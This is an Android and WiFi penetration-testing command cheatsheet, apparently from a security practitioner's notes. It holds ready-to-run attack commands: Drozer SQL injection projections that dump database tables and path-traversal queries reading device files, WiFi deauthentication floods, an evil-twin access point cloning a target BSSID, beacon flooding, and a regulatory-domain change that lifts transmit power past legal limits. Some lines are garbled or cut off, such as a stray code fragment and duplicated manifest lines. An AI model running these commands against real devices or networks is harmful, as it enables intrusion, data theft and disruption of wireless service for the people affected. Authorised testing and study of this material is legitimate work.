Android Pentesting Command Cheatsheet

Useful tools
Android SDK
Android Studio
GenyMotion emulator
MWR’s Drozer testing framework

Useful Linux file paths
android/adt-bundle-linux-ver-number/sdk/platform-tools: adb tool
android/adt-bundle-linux-ver-number/sdk/tools: emulator, android tools
~/.android/avd/<emulator-device-name>.avd/: emulator config files

Useful Windows file paths

Useful Android paths
/data/app: location of app on android device
/data/data/[packagename]/*: app data files
/data/Dalvik-cache: Classes.dex for all installed apps

Useful configuration settings
Enable hardware keyboard in emulator:
Add: hw.keyboard=yes to the config file:

Install test environment
Install Android SDR only
Install Android Studio
Install GenyMotion

Install APIs
$ android
and choose API version to install with gui

List available Android targets
$ android list targets

Create an Android image for a target
$ android create avd -n test -t 3
$ android create avd -n test -t 3 –abi default/x86

Start emulator
Start the emulator for the created image @test:
emulator @test
$ adb shell

Install BusyBox
$ adb push busybox /data/local
$ adb shell
$ su
# mount -o remount,rw -t yaffs2 /dev/block/mtdblock3 /system
# mkdir /system/xbin
# cat /data/local/busybox > /system/xbin/busybox
# chmod 755 /system/xbin/busybox
# busybox --install /system/xbin
# mount -o ro,remount -t yaffs2 /dev/block/mtdblock3 /system
# sync
# reboot

Install Burp cert on emulator
Create an sdcard for the emulator:
$ mksdcard -l pisd 1G /tmp/sdcard

Launch emulator with -sdcard option:
$ emulator-x86 -sdcard /tmp/sdcard -avd test -qemu -m 1024 -enable-kvm -http-proxy ""

Get Portswigger cert from visiting a page in browser, export and save as Portswigger.crt
Note: must have .crt extension for android to recognise it on sdcard

Copy the cert onto the device:
$ adb push Portswigger.crt /mnt/sdcard
Next, go to “Settings” and install from sdcard

Installing Drozer
Install drozer app on test device and run it.
From your laptop, connect to the app:
$ adb forward tcp:31415 tcp:31415
$ drozer console connect
$ drozer console --server connect

Copy an APK off device
Installed APKs are located in /data/app on the device
$ adb pull /data/app/AppName-1.apk .

Extracting Java code from an APK
Extract the APK using APKTool. Run: apktool d AppName.apk
Extract the classes.dex file found in the APK file. Run: jar xvf classes.dex
Extract the classes from classes.dex file. Run: dex2jar classes.dex
Extract the classes.dex.dex2jar.jar. Run: jar xvf classes.dex.dex2jar.jar
Browse Java code: Open the extracted jar file in jd-gui

Check the manifest file
First, unpack the apk using unzip
$ unzip AppName.apk
$ axmlprinter AndroidManifest.xml

Check package information
Using Drozer:
dz> run app.package.list
dz> run app.package.attacksurface com.targetpackage
dz> run -a com.targetpackage

Check for the debug flag
Using Drozer:
dz> run app.package.debuggable
Check manifest file.

Check for SQL injection
Using Drozer:
dz> run scanner.provider.injection -a com.targetpackage

Check for path traversal
Using Drozer:
dz> run scanner.provider.traversal -a com.targetpackage

Check the Content Providers
Content providers provide access to structured data.
Can be affected by: SQLi, directory traversal

Useful Drozer commands for working with content providers:
dz> run -a com.targetpackage
dz> run app.provider.finduri com.targetpackage
dz> run scanner.provider.finduris -a com.targetpackage
dz> run scanner.provider.traversal -a com.targetpackage
dz> run scanner.provider.injection -a com.targetpackage
dz> run app.provider.query content://com.targetpackage...
dz> run app.provider.query content://com.targetpackage... --vertical --selection "'"
dz> run app.provider.query content://com.targetpackage... --projection "* FROM SQLITE_MASTER WHERE type='table';--"
dz> run app.provider.query content://com.targetpackage... --projection "* FROM Key;--"
dz> run content://com.targetpackage...
dz> run content://com.targetpackage../etc/hosts
dz> run content://com.targetpackage../data/data/com.targetpackage]/databases/database.db

Check the Activities
Activities provide user facing components.
Can be affected by UI redressing attacks e.g. tap jacking etc

Useful Drozer commands for working with activities:
dz> run -a com.targetpackage
dz> run app.activity.start --component com.targetpackage com.targetpackage.ActivityName

Check the Services
Useful Drozer commands for working with services:
dz> run -a com.targetpackage
dz> run app.service.send com.targetpackage com.targetpackage.ServiceName

Check the Intents
Intents can be implicit or explicit.
Check Manifest file for public intents, e.g.
<receiver android:name="my.special.receiver">
<action android:name="my.intent.action" />

Instead, intents should use the exported flag or made private e.g.
<receiver android:name="my.special.receiver"

<receiver android:name="my.special.receiver"

Check the Broadcast Receivers
Broadcast receivers handle implicit intent messages or system wide events

Useful Drozer commands for working with broadcast receivers:
dz> run -a com.PackageName.AppName
dz> run app.broadcast.send --action [name of action from manifest file] --component com.PackageName.AppName com.PackageName.AppName.push.GCMPushReceiver
dz> run app.broadcast.send --action [name of action from manifest file] --component com.PackageName.AppName.push.GCMPushReceiver --extra string paramName paramValue --extra sting paramName2 paramValue2

Check for Sticky broadcasts
<uses-permission android:name="android.permission.BROADCAST_STICKY"/>

Check the files stored on the device
Grep for:
http, https, ://, user, pass, hmac, login

Check for insecure data storage on the device
Perform a search for files relating to package name:
root@android:/ # find / -name com.PackageName -print

Check the SD Card:

Check the data directory:

Check the database files on the device:
sqlite> select * from StoredProperties;

Save the database files off the device:
cp name.db /mnt/sdcard
$ adb pull /mnt/sdcard/name.db . (otherwise won’t have perms to copy)

Check the log files:
logcat -b events

Check the device memory
Check memory stats:
$ adb shell dumpsys meminfo > mem.txt
$ adb shell dumpsys meminfo 'com.PackageName'

Dump the memory:
$ adb shell dumpsys > mem.txt
$ adb shell dumpstate > mem.txt (can show params passed to intents etc.)

Checking memory and logcat together:
$ adb shell bugreport > bugreport.txt

Check for bad code patterns" + paramString1 + "&u=" + paramString2);

Check for WebViews
Search the decompiled folder for:

grep -r -n -i --include=*.java addJavascriptInterface *
grep -r -i --include=*.java \@JavascriptInterface *

grep -r -n -i --include=*.java shouldOverrideUrlLoading *

Use Drozer module:
run ex.scanner.jsifenum -a com.targetpackage

Check the transport security
Use the emulator to dump traffic to a pcap flle with the option:

Use the emulator to proxy traffic with the option:

Intercept with burp.

Wifi Pentesting Command Cheatsheet

Find out which modes your card supports
airmon-ng (find phy#)
iw phy phy1 info | grep -A8 modes (grep 8 lines past “modes”)

Setting a MAC Address
ifconfig wlan3 down
ifconfig wlan3 hw ether c0:ff:ee:c0:ff:ee
ifconfig wlan3 up
macchanger -r wlan3 (provides a random address every time)

Monitor Mode
ifconfig wlan3 up
airmon-ng start wlan3

Looking for SSIDs
dev wlan3 scan passive | grep SSID

Looking at client traffic to an AP
wireshark filter: wlan.addr==CC:00:FF:EE:EE:EE and not wlan.fc.subtype == 0x08 (MAC of AP & filter out beacon frames)
wlan.addr ==CC:00:FF:EE:EE:EE and wlan.addr == DD:EE:AA:DD:BE:EF (filter on 2 client MAC addresses)

Looking for vendors
airodump-ng --manufacturer (newer versions of airodump support this)

Setting the Channel
ifconfig wlan3 down
iwconfig wlan3 channel 1 (get channel id of ssid from airodump)
iwconfig mon0 channel 1
then verify the “Frequency” value in iwconfig e.g. channel 1 = 2.412 GHz

Connecting to an Open AP
iwconfig wlan3 channel 1
iwconfig wlan3 mode managed
iwconfig wlan3 essid APName

iwconfig mon0 channel 1
aireplay-ng -0 10 -a CC:00:FF:EE:EE:EE -cDD:EE:AA:DD:BE:EF mon0
deauth -a access point -c client
broadcast deauth packets on behalf of ESSID 11:22:33:44:5 to deauth all clients
iwconfig mon0 channel 1
aireplay-ng --deauth 0 -a 11:22:33:44:55 mon0
airodump-ng --output-format csv --write /root/dump.csv mon0
airdrop-ng -i mon0 -t /root/dump.csv-01.csv -r /root/droprules

Setting up an AP
bring up AP with same name as target (put on same channel as AP)
iwconfig wlan0 channel 1
iwconfig mon0 channel 1

use same BSSID as target AP & create AP on channel 1 (unless have 2 alfa cards, 1 for deauth and 1 for AP, need to use same channel as AP)
airbase-ng -a 11:22:33:44:55:66 -e APName mon0

setup deauth attack at same time
aireplay-ng --deuath 0 -a 00:11:22:33:44:55:66 mon0

Auditing EAP/PEAP Entreprise

requires scapy-com:
apt-get remote python-scapy
hg clone
cd scapy-com && python install

Using crEAP

Using EAPeak
eapeak -i wlan3 -s APName -l

Flooding beacon frames with fake ssid
mdk3 mon0 b -n newSSIDname

b=beaconflood, -n=ssid name
floods all the channels with new SSID name

Increasing power of wifi card
e.g. for broadcasting beacons from outside, set to 1W (30dbm)
iw reg set BO
iwconfig wlan0 txpower 30
ifconfig wlan0 down
iw reg set BO
ifconfig wlan0 up
iwconfig wlan0 channel 13
iwconfig wlan0 txpower 30

Tools for visualising

Useful subtype hex values
0x04 : requests
0x05 : responses
0x08 : beacon frame

txpower is in dBm
dBm to Watt conversions

dBm Watts dBm Watts dBm Watts
0 1.0 mW 16 40 mW 32 1.6 W
1 1.3 mW 17 50 mW 33 2.0 W
2 1.6 mW 18 63 mW 34 2.5 W
3 2.0 mW 19 79 mW 35 3.2 W
4 2.5 mW 20 100 mW 36 4.0 W
5 3.2 mW 21 126 mW 37 5.0 W
6 4 mW 22 158 mW 38 6.3 W
7 5 mW 23 200 mW 39 8.0 W
8 6 mW 24 250 mW 40 10 W
9 8 mW 25 316 mW 41 13 W
10 10 mW 26 398 mW 42 16 W
11 13 mW 27 500 mW 43 20 W
12 16 mW 28 630 mW 44 25 W
13 20 mW 29 800 mW 45 32 W
14 25 mW 30 1.0 W 46 40 W
15 32 mW 31 1.3 W 47 50 W


Privilege Escalation References

Linux Priv Esc

Windows Priv Esc